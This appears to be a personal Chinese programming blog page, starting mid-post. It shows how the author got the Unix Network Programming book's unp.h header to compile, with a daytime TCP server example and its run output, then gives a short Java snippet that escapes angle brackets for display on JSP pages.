/usr/include/sys/select.h:121: error: previous declaration of ‘pselect’ was here
daytimetcpsrv1.c: In function ‘main’:
daytimetcpsrv1.c:9: error: ‘MAX_LINE’ undeclared (first use in this function)
daytimetcpsrv1.c:9: error: (Each undeclared identifier is reported only once
daytimetcpsrv1.c:9: error: for each function it appears in.)
dan@dan-laptop:~/study/unp/4$ rm -f /usr/include/unp.h
解决方法有点傻:
进入我们开始时建立的目录:
cd /home/dan/study/unp
复制config.h和unp.h到此目录:
dan@dan-laptop:~/study/unp$ cp /home/dan/download/unpv13e/config.h .
dan@dan-laptop:~/study/unp$ cp /home/dan/download/unpv13e/lib/unp.h .
修改unp.h,
#include “../config.h”改成 #include “config.h”
添加一行:
#define MAX_LINE 2048
练习书上代码时,在unp目录下建立相应的章节目录,文件中添加一行:
#include “../unp.h”
编译时链接unp库就可以了。

以第四章的daytimetcpsrv1.c为例:
dan@dan-laptop:~/study/unp/4$ pwd
/home/dan/study/unp/4
dan@dan-laptop:~/study/unp/4$ cat daytimetcpsrv1.c
#include “../unp.h”
#include <time.h>

int main(int argc, char **argv)
{
int    listenfd, connfd;
socklen_t    len;
struct sockaddr_in    servaddr, cliaddr;
char    buff[MAX_LINE];
time_t    ticks;

listenfd = Socket(AF_INET, SOCK_STREAM, 0);

bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(13);

Bind(listenfd, (SA *)&servaddr, sizeof(servaddr));

Listen(listenfd, LISTENQ);

for (;;) {
len = sizeof(cliaddr);
connfd = Accept(listenfd, (SA *)&cliaddr, &len);
printf(“connection from %s, port %d\n”,
Inet_ntop(AF_INET, &cliaddr.sin_addr, buff, sizeof(buff)),
ntohs(cliaddr.sin_port));

ticks = time(NULL);
snprintf(buff, sizeof(buff), “%.24s\r\n”, ctime(&ticks));
Write(connfd, buff, strlen(buff));

Close(connfd);
}
}
编译:
cc -o daytimetcpsrv1 daytimetcpsrv1.c -lunp
运行一下:
root@dan-laptop:/home/dan/study/unp/4# ./daytimetcpsrv1 &
[1] 22106
root@dan-laptop:/home/dan/study/unp/4#
root@dan-laptop:/home/dan/study/unp/4# ./daytimetcpcli
usage: a.out <IPaddress>
root@dan-laptop:/home/dan/study/unp/4# ./daytimetcpcli 127.0.0.1
connection from 127.0.0.1, port 42064
Fri Aug 21 23:03:56 2009
root@dan-laptop:/home/dan/study/unp/4# netstat -nt
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:13            127.0.0.1:42064         TIME_WAIT

posted @ 2012-10-22 21:31 R&P 阅读(424) | 评论 (0)编辑 收藏

2012年9月28日

jsp页面显示等标签时直接运行的解决办法

   JSP页面显示html标签等内容时会直接运行而不是把他们当做文本输出,解决办法(java):
1 public class URLReplace
2 {
3        public static String replace(String url)
4        {
5               String URL = url.replaceAll("<","&lt");
6               return URL.replaceAll(">","&gt");
7        }
8 }
 Contact us

posted @ 2012-09-28 15:49 R&P 阅读(211) | 评论 (0)编辑 收藏

仅列出标题  
<2024年4月>
31123456
78910111213
14151617181920
21222324252627
2829301234
567891011

导航

统计

常用链接

留言簿

随笔档案

搜索

最新评论

阅读排行榜

评论排行榜